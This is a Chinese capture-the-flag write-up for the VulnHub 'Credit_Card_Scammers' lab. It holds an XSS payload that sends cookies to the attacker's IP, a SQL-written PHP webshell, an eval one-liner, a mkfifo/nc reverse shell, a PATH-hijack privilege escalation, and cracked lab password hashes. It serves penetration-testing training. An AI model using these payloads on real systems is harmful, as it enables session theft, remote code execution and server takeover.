前言

一次“夺旗”练习,涵盖了许多不同的技巧。

背后的故事:骗子正在利用人们,各种假冒购物网站已经建立起来,但人们发现他们的订单从未到达。我们发现了一个诈骗网站,我们认为该网站正在从受害者那里获取信用卡信息。您的目标是通过获得root访问权来删除欺诈网站,并识别其服务器上的3个标志。我们的情报显示,骗子正在积极审查所有订单,以便快速利用信用卡信息。(本次靶场涵盖了SQL写入恶意文件漏洞配合远程命令执行、XSS漏洞)

靶场环境

kali: 192.168.31.28

Credit_Card_Scammers: 192.168.31.119

靶机环境下载链接:https://www.vulnhub.com/entry/credit-card-scammers-1,479/

环境搭建

首先导入我们的虚拟机,我们这里使用的virtualbox搭建的,首先点击管理,点击导入虚拟电脑,,选择你下载的靶机,导入后修改网络设置(这里方便演示我使用了桥接),导入后开启虚拟机,出现一个登陆界面说明成功

靶机渗透

nmap 192.168.31.0/24 //查找存活主机

查看到有一个主机192.168.31.119存活,进行详细扫描检测

nmap 192.168.31.119 -sT -O //查看主机端口信息及操作系统和版本

发现靶机开放了22 80 443 端口,但是9090是被关闭了,不清楚是否有用处,暂时放一边,我们先尝试用80去访问,22和443说不定后面还有用,也是先放一边。访问到网页发现是一个医疗用品销售网站,还发现了一个buynow.php页面,然后就没有其他的了

毫无头绪的时候,使用目录扫描工具进行检测,意外发现了一个后台登录点

python dirsearch.py -u http://192.168.31.119/ -e*

查看后台登录页面,但是要账号密码登录,弱口令爆破不现实,采取其他方法尝试,这里看到框,想到xss,尝试xss测试是否有漏洞(http://dnslog.cn

"<script src="http://stgw1q.dnslog.cn">alert('xss')</script>" //用dnslog.cn测试是否存在漏洞,dnslog.cn有回显说明有漏洞

构造xss获取index.html访问使用的cookie

"<script src="http://192.168.31.28/index.html"></script>"
"<script>new Image().src="http://192.168.31.28/?co="+document.cookie;</script>" 此处的ip是kali的ip,注意所有框都要插入代码,提交查询前要在kali开启apache2,提交后查看kali中的apache2日志 cat /var/log/apache2/access.log

拿到cookie,去index.html,打开开发者工具(F12),将获取到的cookie替换掉原来的cookie,再访问http://192.168.31.119/_admin/dist就是进入后台了

查看后台有没有什么注入点,找了半天就只有这个框,下面显示说可以执行SQL命令

但是执行了一堆SQL命令没啥用,没有任何回显,决定尝试一下写入文件,不执行不知道,一执行吓一跳,发现可以利用SQL写入任意文件,代码如下:

select "<?php system($_GET['cmd']);?>" into outfile "/var/www/html/shell.php"
//写入一个可以执行系统命令的system函数,参数为cmd,传参方式为GET

写入之后尝试访问shell.php查看是否写入成功

既然已经可以配合命令执行,我们直接写入一句话木马,蚁剑连接靶机后台拿到webshell

echo '<?php @eval($_POST["cmd"]);?>' > cmd.php

蚁剑连接成功,尝试nc连接,但是发现nc连接不了,执行不同的nc连接命令都不行

最后我想到一个连接方法,就是利用在/var/www/html下新建一个php文件,使用一开始nmap检测到的443端口作为nc监听的端口,在tmp建立一个临时文件作为连接文件

<?php system("mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.28 443 >/tmp/f");?>

写入且保存成功后,kali开启监听443端口,然后我也访问新建的php,我的是66.php,所以我直接访问http://192.168.31.28/66.php,发现反弹成功

尝试sudo -l 查看是否可以不需要密码的登录,发现sudo -l也是无济于事

查看/home,一般情况用户的目录都会在/home下,所以我们找到home目录,查看有什么可用的用户存在,在此发现了两个用户,一个是admin,一个是moneygrabber

四处逛了逛发现没有什么存储密码的地方,矛头指向了数据库,在settings中看到了数据库配置文件config.php,给了账号密码,直接连接mysql,但是我这里有个bug,数据库一直连接不上,只能采用别人找到的用户和密钥。

admin:$2y$12$A4jgwtWB73.TAMIeplx0T.5oG/mnHR1gTDa8cmtTIvW3zTjdSjdjC
moneygrabber:$2y$12$EX/FDsztTMwftzPRyY8gFuM7ZjAphQRZs88qpZpmboRogOAOYXowC 注:这里使用john --show pass.txt前必须先用john pass.txt爆破,如果显示了三串代码提示说是编码UTF-8,说明密钥的哈希值已经存在,直接就--show 将这两个用户和密钥,编写一个txt文本,随后使用john进行识别密码 john --show pass.txt 发现是hash加密的密文

拿到密码直接去切换用户,su moneygrabber 密码是 delta1

cd ~ 到主目录,查看ls -l 发现了两个文件,一个是flag,另一个是backup.sh,查看是一个执行tar的文件(cat backup.sh)

使用find / -perm -4000 2>/dev/null 查看可执行权限,发现有一个/usr/bin/backup的可执行权限,我们可以尝试用它来提权

strings /usr/bin/backup //strings命令在对象文件或二进制文件中查找可打印的字符串

由于在backup.sh中没有标明可执行的文件路径,也就是tar的路径,所以我们可以将他修改为我们想让他取得命令执行路径,这里将命令执行路径修改为 /tmp ,然后我们在主目录执行backup.sh(./backup.sh),执行脚本后会在主目录下形成一个文件,mysql.tar,但是他还需要新建一个tar文件,所以这里会报错



修改命令执行的路径

echo $PATH   //查看当前命令执行路径
export PATH=/tmp //将命令执行路径修改为/tmp

此处是在/tmp下新建一个tar文件,因为.backup.sh需要有一个tar文件来写入
cd /tmp //进入/tmp目录
/usr/bin/echo '/bin/bash' > tar //使用/usr/bin/echo执行将/bin/bash写入tar文件
/usr/bin/ls //查看是否生成成功
/usr/bin/chmod 777 tar //把tar权限改为777(所有用户可读写执行)
/usr/bin/backup //调用./backup.sh
/usr/bin/id //查看是否提权成功 到此就提权成功

Vulnhub之Credit_Card_Scammers靶场渗透的更多相关文章

  1. VulnHub靶场渗透之:Gigachad

    环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...

  2. Vulnhub靶场渗透练习(三) bulldog

    拿到靶场后先对ip进行扫描 获取ip  和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...

  3. Vulnhub靶场渗透练习(二) Billu_b0x

    运行虚拟机直接上nmap扫描 获取靶场ip nmap 192.168.18.* 开放端口 TCP 22 SSH OpenSSH 5.9p1 TCP 80 HTTP Apache httpd 2.2.2 ...

  4. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  5. Vulnhub靶场渗透练习(五) Lazysysadmin

    第一步扫描ip    nmap 192.168.18.*  获取ip 192.168.18.147 扫描端口 root@kali:~# masscan - --rate= Starting massc ...

  6. Vulnhub靶场渗透练习(四) Acid

    利用namp 先进行扫描获取ip nmap  192.168.18.* 获取ip  没发现80端口 主机存活  猜测可以是个2000以后的端口 nmap -p1-65533 192.168.18.14 ...

  7. 靶场渗透CH4INRULZ_v1.0.1

    最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...

  8. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  9. vulnhub靶机djinn:1渗透笔记

    djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...

  10. webug3.0靶场渗透基础Day_1

    第一关: 最简单的get注入 单引号报错 http://192.168.129.136/pentest/test/sqli/sqltamp.php?gid=1' order by 5 --+     ...

随机推荐

  1. gin项目部署到服务器并后台启动

    前言 我们写好的gin项目想要部署在服务器上,我们应该怎么做呢,接下来我会详细的讲解一下部署教程. 1.首先我们要有一台虚拟机,虚拟机上安装好go框架. 2.将写好的项目上传到虚拟机上. 3.下载好项 ...

  2. 从SpringBoot启动,阅读源码设计

    目录 一.背景说明 二.SpringBoot工程 三.应用上下文 四.资源加载 五.应用环境 六.Bean对象 七.Tomcat服务 八.事件模型 九.配置加载 十.数据库集成 十一.参考源码 服务启 ...

  3. Can not set int field xxx to java.lang.Long 错误

    Can not set int field xxx to java.lang.Long 错误 这个错误其实是因为Java程序和MySQL表中字段的属性匹配不一致 我的报错是Can not set ja ...

  4. .net core -利用 BsonDocumentProjectionDefinition 和Lookup 进行 join 关联 MongoDB 查询

    前序 前段时间由于项目需要用到MongoDB,但是MongoDB不建议Collection join  查询,网上很多例子查询都是基于linq 进行关联查询.但是在stackoverflow找到一个例 ...

  5. jmeter中获取token和cookie

    ## 登录获取token 1.添加请求 1.1 输入接口中需要携带的参数的值 2.正则表达式提取器提取出值 3.输入token数据 "token":"(.+?)" ...

  6. 知识图谱顶会论文(SIGIR-2022) MorsE:归纳知识图嵌入的元知识迁移

    MorsE:归纳知识图嵌入的元知识迁移 论文题目: Meta-Knowledge Transfer for Inductive Knowledge Graph Embedding 论文地址: http ...

  7. CF39H

    前言 谁来给我讲讲九九乘法表啊. 以上菲克向. \(\sf{Solution}\) 看题上来就是数据范围 \(2\leq k\leq 10\) ,显然打表可以轻松水过,数据这么小,手算是没问题的啦. ...

  8. 云原生之旅 - 5)Kubernetes时代的包管理工具 Helm

    前言 上一篇文章 [基础设施即代码 使用 Terraform 创建 Kubernetes] 教会了你如何在Cloud上面建Kubernetes资源,那么本篇来讲一下如何在Kubernetes上面部署应 ...

  9. 基于 Docker 构建轻量级 CI 系统:Gitea 与 Woodpecker CI 集成

    WoodpeckerCI 是一个由社区维护的 DroneCI 分支,使用 Apache License 2.0 许可证发布.社区版进一步扩展了 pipeline 的功能特性.支持对文件路径设置 pip ...

  10. 《ASP.NET Core技术内幕与项目实战》精简集-目录

    本系列是杨中科2022年最新作品<ASP.NET Core技术内幕与项目实战>及B站配套视频(强插点赞)的精简集,是一个读书笔记.总结和提炼了主要知识点,遵守代码优先原则,以利于快速复习和 ...